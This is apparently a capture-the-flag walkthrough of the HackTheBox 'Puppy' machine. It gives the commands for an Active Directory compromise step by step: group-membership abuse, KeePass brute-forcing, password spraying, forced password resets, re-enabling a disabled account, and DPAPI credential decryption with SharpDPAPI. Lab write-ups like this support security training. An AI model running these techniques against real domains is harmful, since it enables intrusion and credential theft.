Puppy


A walkthrough of the Puppy machine on HackTheBox. We enumerate an Active Directory environment, exploit GenericWrite privileges to access a restricted SMB share, crack a KeePass database, chain multiple user pivots via password spraying and account manipulation, and escalate to administrator by decrypting DPAPI credentials.

#Recon

#NMAP

Start off with my favourite NMAP scan, this can be a little slow if you are not a VIP, but I have a personal instance as well as a good connection.

sh
sudo nmap -sCV -p0- -oA puppy 10.129.39.239
sh
# Nmap 7.95 scan initiated Sat May 17 23:48:47 2025 as: nmap -sCV -p0- -oA puppy 10.129.39.239
Nmap scan report for 10.129.39.239
Host is up (0.024s latency).
Not shown: 65513 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 05:51:04Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-18T05:52:51
|_  start_date: N/A
|_clock-skew: 6h59m57s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

We get a lot from this NMAP scan, but there are a few instant things to keep in mind.

  • Domain is PUPPY.HTB
  • Kerberos is up but at an odd time
  • LDAP access
  • SMB Access
  • RPC Access. From this we can already have a good idea that we are dealing with an AD set up. At the time of the box, this was a massive area that I struggled with. So I know this is going to be a brutal box.

#SMB

We are provided the following information prior to starting the box:

text
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Let's see if this user has SMB access and if so, what access he has exactly.

#Confirm user has SMB access

sh
nxc smb 10.129.244.25 -u levi.james -p KingofAkrong 2025!

Pasted image 20250519220658.png

#Shares

sh
nxc smb 10.129.244.25 -u levi.james -p KingofAkron2025! --shares

Pasted image 20250519220722.png

We have SMB access but not really anything super useful, we decide to attempt to download all of the files just in case. However, this was a dead end with no information in it, as expected.

#RPC

We will use rpcclient to do our enumeration of the domain, it's what I am most comfortable using and it has a fair few helpful commands that will give us far more information about the domain.

#Connect Via RPCClient

sh
rpcclient -U puppy.htb/levi.james%'KingofAkron2025!' 10.129.244.25

#Enum Users

sh
enumdomusers
text
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[levi.james] rid:[0x44f]
user:[ant.edwards] rid:[0x450]
user:[adam.silver] rid:[0x451]
user:[jamie.williams] rid:[0x452]
user:[steph.cooper] rid:[0x453]
user:[steph.cooper_adm] rid:[0x457]

As can be seen we have quite a few users on this box, this makes it slightly trickier to determine our escalation method. So many options usually means that we will have to go through multiple users and pivot laterally in a very specific pattern. But at the very least steph.cooper_adm is what we are hoping to get to eventually.

#Enum Groups

sh
enumdomgroups
text
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[HR] rid:[0x454]
group:[SENIOR DEVS] rid:[0x455]
group:[DEVELOPERS] rid:[0x459]

We have quite a few groups, but we have a few non-standard ones to look at, HR, Senior Devs, and, Developers.

#Enum Privs

sh
enumprivs
text
SeCreateTokenPrivilege 		0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege 		0:3 (0x0:0x3)
SeLockMemoryPrivilege 		0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege 		0:5 (0x0:0x5)
SeMachineAccountPrivilege 		0:6 (0x0:0x6)
SeTcbPrivilege 		0:7 (0x0:0x7)
SeSecurityPrivilege 		0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 		0:9 (0x0:0x9)
SeLoadDriverPrivilege 		0:10 (0x0:0xa)
SeSystemProfilePrivilege 		0:11 (0x0:0xb)
SeSystemtimePrivilege 		0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege 		0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege 		0:14 (0x0:0xe)
SeCreatePagefilePrivilege 		0:15 (0x0:0xf)
SeCreatePermanentPrivilege 		0:16 (0x0:0x10)
SeBackupPrivilege 		0:17 (0x0:0x11)
SeRestorePrivilege 		0:18 (0x0:0x12)
SeShutdownPrivilege 		0:19 (0x0:0x13)
SeDebugPrivilege 		0:20 (0x0:0x14)
SeAuditPrivilege 		0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege 		0:22 (0x0:0x16)
SeChangeNotifyPrivilege 		0:23 (0x0:0x17)
SeRemoteShutdownPrivilege 		0:24 (0x0:0x18)
SeUndockPrivilege 		0:25 (0x0:0x19)
SeSyncAgentPrivilege 		0:26 (0x0:0x1a)
SeEnableDelegationPrivilege 		0:27 (0x0:0x1b)
SeManageVolumePrivilege 		0:28 (0x0:0x1c)
SeImpersonatePrivilege 		0:29 (0x0:0x1d)
SeCreateGlobalPrivilege 		0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege 		0:31 (0x0:0x1f)
SeRelabelPrivilege 		0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege 		0:33 (0x0:0x21)
SeTimeZonePrivilege 		0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege 		0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege 		0:36 (0x0:0x24)

A fair amount of privileges, but when we actually attempt to use these for any action against other users we get the following error:

text
result: NT_STATUS_ACCESS_DENIED
result was NT_STATUS_ACCESS_DENIED

Not a whole lot we can do to the users in our purview.

While we do still have LDAP that we could use to enumerate, I think it's time we start looking at the AD environment, in a way that is a bit clearer.

#bloodhound-python

Bloodhound-Python is a bloodhound ingestor that you can run directly from the command line with limited access to the AD environment. It is fairly intuitive and can export data in numerous formats.

sh
bloodhound-python -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.129.244.25 --zip
text
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.puppy.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 10 users
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 56 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 03S
INFO: Compressing output into 20250520094732_bloodhound.zip

Now we can take this zip and we can supply it into bloodhound to get a very clear idea of the accounts, groups and how they interact.

#Blood hound

On importing the data, and giving bloodhound time to ingest the data we should see the following information within group management. Please note, unlike on labs like POO, this required me to show All AD Domains, and did not consider puppy as a tenant.

#Imported data

Pasted image 20250520095300.png These are the high value group/data but if we go into the Total count we can search for Levi James and have a look at his information.

#Levi James

#Initial Bloodhound Data

Pasted image 20250520095531.png

Pasted image 20250520095554.png

Not a huge amount to look at here, this is just the basic user node for Levi confirming his account properties. The useful stuff is in the relationship tabs.

#Group Memberships

Pasted image 20250520100018.png

This confirms Levi is in the HR group, which was one of the non-standard groups we spotted during RPC enumeration. On its own that doesn't tell us much, but it's worth keeping in mind as we dig into what rights come with that membership.

#Inbound Object Control

Pasted image 20250520095651.png

Dead end here. Nobody has any particularly interesting control over Levi's account, so we can't leverage this angle.

#Outbound Object Control

Pasted image 20250520095727.png

This is where it gets interesting.

Now this is something that bloodhound does automatically which I initially overlooked because I just am not super familiar with the tool or DA. In the outbound Object Control we can see that due to being in the group HR, we actually have GenericWrite privileges on the Developers group. I tried to see if this user could make any changes to developers themselves, but as we know, that's not viable. But we do know that there is a DEV share, so perhaps we should attempt to add ourselves to the group instead?

#User

#Access the dev share

sh
net rpc group addmem "Developers" levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S 10.129.244.25
sh
nxc smb 10.129.244.25 -u levi.james -p KingofAkron2025! --shares

Pasted image 20250520163541.png

The command worked and from checking the shares, we now have access to a brand new share.

#Dev Share Contents

sh
nxc smb 10.129.244.25 -u levi.james -p KingofAkron2025! --shares -M spider_plus -o DOWNLOAD_FLAG=TRUE OUTPUT_FOLDER=.

Pasted image 20250520163823.png

Pasted image 20250520163924.png

This feels big, we have managed to recover a kdbx file from the share. While it seems possible that levi.james would have made this so may have reused the password, it is kind of unlikely. So we are going straight into attempting to bruteforce the password on it or see if we can find a kdbx exploit.

#KDBX File

We initially try to do a straight keepass2john conversion, but unfortunately, this does not work on this version of keepass.

sh
keepass2john recovery.kdbx
text
! recovery.kdbx : File version '40000' is currently not supported!

On doing some googling we actually find something really quickly that may do a similar thing however.

https://github.com/r3nt0n/keepass4brute

We download it and use rockyou on it. I am always wary of straying or using random wordlists on HTB modules, just due to the potential of wasting a lot of time bruteforcing. But on this occasion it works very quickly.

sh
/Share/BitsAndPieces/keepass4brute.sh recovery.kdbx /usr/share/dict/rockyou.txt

Pasted image 20250520165032.png

Opening up the file we now have a wealth of user/password combos to try!

Pasted image 20250520165324.png

#Identifying working creds

We save each pair and then do a quick little test in SMB to identify which combos actually work, as there are too many to bother to check manually. We get one hit, for ant.edwards.

sh
nxc smb 10.129.244.25 -u keepass_users -p keepass_passwords

Pasted image 20250520165617.png

#Ant

Now that we have ant, we do try to log in to the application, we use evil-winrm for this but unfortunately, he does not seem to have any ability to remotely connect to the machine. We go back to bloodhound to see if he has any good escalation methods.

Pasted image 20250520170054.png

We actually have GenericAll on another user, adam.silver. So this feels quite straightforward, if we were to click on this link from within Bloodhound we would be told of multiple attacks. But we are going to go for the password change attack as that seems very straight forward.

#Adam Silver

To change adam's password I initially did it via RPCClient as so

sh
setuserinfo2 adam.silver 23 test2025!

But you could do similar with net rpc, or bloodyAD. However, this is really where the Medium difficulty hits you in the face. Adam.Silver is actually a deactivated user.

Pasted image 20250520170620.png

I struggled with this a lot, but if you have done similar boxes, you actually have a really straightforward way to do it with BloodyAD.

sh
./bloodyAD.py --host 10.129.244.25 -u ant.edwards -p 'Antman2025!' -d puppy.htb remove uac -f ACCOUNTDISABLE
sh
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

If we use evil-winrm we are able to now login to the account and get the user flag.

sh
evil-winrm -ip 10.129.244.25 -u adam.silver -p 'test2025!'

Pasted image 20250520171623.png

#Admin

#Steph

Immediately as Adam, we have a look at the directory structure at C:\ and find a few interesting folders.

Pasted image 20250520172617.png

We check the contents of Backups first and we find a site-backup in a zip. If we can download this we may find some really useful information to escalate to a new user.

Pasted image 20250520172841.png

We find an auth-config file which gives us access to a new user. Steph.cooper. From previous enumeration you may have noticed she actually has two accounts, one normal user and one administrative user. This one is her normal user account unfortunately, so still no Admin/System access.

Pasted image 20250520173049.png

#Steph_adm

#Identifying the local cred files

This step was a bit of a leap for me. WinPEAS drowned me in information, providing nothing of use, mimikatz.exe basically broke on upload, and I couldn't find anything useful manually. What helped me understand is that, with a two Steph account situation, then the real user was probably utilising the Admin user to perform authenticated actions, not logging out and logging back in. Meaning, that there is a possibility that the creds would be in Windows Credentials Manager, or stored within memory somewhere.

On searching I found that the following places can be used to store credentials:

  • C:\Users\ {user}\AppData\Roaming\Microsoft\Credentials
  • C:\Users\ {user}\AppData\Local\Microsoft\Credentials
  • C:\Users{user}\AppData\Local\Microsoft\Vault

Searching these locations and similar finds that there are credentials on this machine within credentials. While encrypted the masterkey was found to be located at: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\

#SharpDPAPI.exe

In my search to understand the cached credential storage on Windows, I kept coming back to DPAPI, which is the Data Protection API that Windows uses to encrypt stored credentials. The design actually makes a lot of sense, it ties the encryption to the user's own password so that it is not trivial for someone to just read secrets off a machine they don't have legitimate access to. The issue for us here is that we already have Steph's password, so that protection doesn't really do much for her in this situation. SharpDPAPI is built to handle this kind of attack, it takes care of the masterkey extraction and credential decryption so we don't have to do it all manually.

For root there are a couple of methods. The most streamlined was the use of SharpDPAPI.exe to locally decrypt the credentials. However, it's also possible to do in a more manual manner with dpapi.py, and either downloading the files or converting the contents into base64 strings and then running the commands off your attack box. The last method is what I did initially.

sh
./SharpDPAPI.exe masterkeys /password:ChefSteph2025! /target:'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407' /sid:'S-1-5-21-1487982659-1829050783-2281216199-1107'

Pasted image 20250520174240.png

sh
./SharpDPAPI.exe credentials '{556a2412-1275-4ccf-b721-e6a0b4f90407}:3C3CF2061DD9D45000E9E6B49E37C7016E98E701'

Pasted image 20250520174327.png

sh
type C:\Users\Administrator\Desktop\root.txt